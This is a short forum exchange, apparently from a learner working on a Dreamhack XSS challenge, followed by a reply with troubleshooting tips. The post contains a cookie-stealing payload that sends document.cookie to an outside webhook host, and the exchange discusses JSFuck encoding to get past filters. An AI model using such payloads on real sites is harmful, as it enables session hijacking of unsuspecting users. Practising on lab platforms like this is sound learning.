I need try to understand more XSS

Hi everyone, I have started to learn XSS and in this challenge I use payload:
location = 'https://gzdegbd.request.dreamhack.games' + document.cookie
The I use tool to encode jsfuck:https://jscrew.it/
I copy jsfuck code and then request to receive id, I report it and request /save?id=(this id i receive) I try many times but the query string in dreamhack respose is empty. Do I have any wrong, I need to learn more.

Maybe the payload length is the issue. Try changing the webhook link to an IP address or something else. Alternatively, instead of using JSFuck fully, consider using it just for escaping the filter.
